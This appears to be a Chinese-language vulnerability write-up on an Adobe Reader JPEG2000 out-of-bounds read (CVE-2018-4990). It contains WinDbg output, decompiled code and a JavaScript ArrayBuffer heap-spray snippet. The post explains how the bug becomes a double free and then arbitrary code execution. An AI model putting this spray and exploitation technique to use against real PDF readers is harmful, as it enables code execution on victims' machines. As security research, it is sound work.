环境信息 Win7 x86 Adobe Acrobat Reader 2018.011.20036
PoC 一张特殊构造过的JP2K图片
大小和内容都是经过构造的,这里先触发一下漏洞,分析漏洞成因。
漏洞分析 打开pageheap后,windbg调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0:000> r eax=00000000 ebx=00000000 ecx=6bf58598 edx=00000000 esi=00000000 edi=00000000 eip=6bf2ba58 esp=00529b04 ebp=00529b20 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 verifier!VerifierStopMessage+0x1f8: 6bf2ba58 cc int 3 0:000> k10 ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 00529b20 6bf29ee0 verifier!VerifierStopMessage+0x1f8 00529b84 6bf26f11 verifier!VerifierDisableFaultInjectionExclusionRange+0x3f90 0052a16c 6bf26f95 verifier!VerifierDisableFaultInjectionExclusionRange+0xfc1 0052a190 6bf27240 verifier!VerifierDisableFaultInjectionExclusionRange+0x1045 0052a1ac 6bf29080 verifier!VerifierDisableFaultInjectionExclusionRange+0x12f0 0052a1c8 776b65f4 verifier!VerifierDisableFaultInjectionExclusionRange+0x3130 0052a210 7767a0aa ntdll!RtlpNtMakeTemporaryKey+0x48b5 0052a304 776465a6 ntdll!EtwSetMark+0xe743 0052a324 7733c3d4 ntdll!wcsnicmp+0xcaa 0052a338 69feecfa kernel32!HeapFree+0x14 0052a34c 64290574 MSVCR120!free+0x1a 0052a46c 642a6482 JP2KLib!JP2KCopyRect+0xbae6 0052a4c4 65f06a24 JP2KLib!JP2KImageInitDecoderEx+0x24 0052a54c 65f083be AcroRd32_65910000!AX_PDXlateToHostEx+0x2615e5 0052a5ac 65efd459 AcroRd32_65910000!AX_PDXlateToHostEx+0x262f7f 0052a5b8 65f06368 AcroRd32_65910000!AX_PDXlateToHostEx+0x25801a
根据call stack往前找,找漏洞触发的点,着重分析JP2KLib中两个调用。
1 2 3 4 int __cdecl JP2KImageInitDecoderEx (Concurrency::details::SchedulerBase *a1, int a2, int a3, int a4, int a5) { return sub_1004F3BD(a2, a3, a4, a5); }
对应的汇编
调试一下这里:
可以发现,这个循环,每次读取8字节,循环次数0xff
次。
1 2 3 for (int idx = 0 ; idx < 0xff ; idx++){ }
最后一次循环的时候,idx是0xfe
,此时读取到 0xfe * 4
。 调试发现,
这个buffer size只有0xfd * 4 = 0x3f4
这么大,所以导致越界读的发生。
Exploit 分析 这个利用可以说十分的巧妙,利用js布局内存,把越界读转换成了Double free
完成利用。
完整Exploit链接
因为需要提前做内存布局,不能直接就触发漏洞,所以需要利用js再布局内存完成后,主动地触发漏洞,这里的做法和p2o 2017,360安全团队打Reader的利用套路一样,把图片放嵌入button field
,并设置按钮不可显示,在布局完成后,设置按钮属性可显,然后触发漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 var a = new Array (0x3000 );var spraynum = 0x1000 ;var sprayarr = new Array (spraynum);var spraylen = 0x10000 -24 ;var spraybase = 0x0d0e0048 ;var spraypos = 0x0d0f0058 ;for (var i1 = 1 ; i1 < 0x3000 ; i1++){ a[i1] = new Uint32Array (252 ); a[i1][249 ] = spraybase; a[i1][250 ] = spraybase + 0x10000 ; } for (var i1 = 1 ; i1 < spraynum; i1++){ sprayarr[i1] = new ArrayBuffer (spraylen); } for (var i1 = 1 ; i1 < 0x3000 ; i1 = i1 + 2 ){ delete a[i1]; a[i1] = null ; }
内存布局的话,利用中使用了ArrayBuffer,利用堆喷,分配大量连续的Arraybuffer,并make hole
,使得图片解析的时候正好分配到内存布局的hole
;随后触发越界读,把漏洞转换成double free去利用。
利用的后面通过sprayarr2的赋值抢占释放的0x20000内存,一旦抢占成功,sprayarr中之前被释放的elment的长度就会被修改为0x20000;最后通过之前内存布局后精准的内存释放(idx 249,250)获取一个超长element,以实现全局内存读写,再通过全局内存读写,伪造bookmarkRoot的对象实现任意代码执行。
遇到的问题(TODO) win7上这些分析没啥问题,一步步调试,内存布局也没什么问题;在win10上内存布局出现了不连续、失效等情况,这部分TODO
,需要解决。
参考 adobe-me-and-a-double-free
对CVE-2018-4990漏洞的补充分析
CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析